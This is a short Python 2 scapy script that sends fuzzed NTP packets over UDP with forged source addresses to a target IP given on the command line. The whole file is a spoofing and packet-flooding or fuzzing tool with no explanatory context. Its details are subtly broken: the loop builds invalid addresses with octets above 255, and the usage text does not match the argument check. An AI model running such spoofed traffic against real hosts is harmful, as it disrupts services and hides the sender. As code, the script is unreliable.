from scapy.all import srloop, IP, ICMP, UDP, fuzz, NTP, send
import sys
import time
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy").setLevel(1)

def ping(spoofed_src, destination):
    send(IP(src=spoofed_src,dst=destination)/fuzz(UDP()/NTP(version=4)))

def main():
    if len(sys.argv) !=2:
        print "Usage : <script> spoofed_src destination_ip"
    else:
        for i in xrange(610):
            ping("172.16.223.%s" %i,sys.argv[1])

if __name__ == "__main__":
    main()

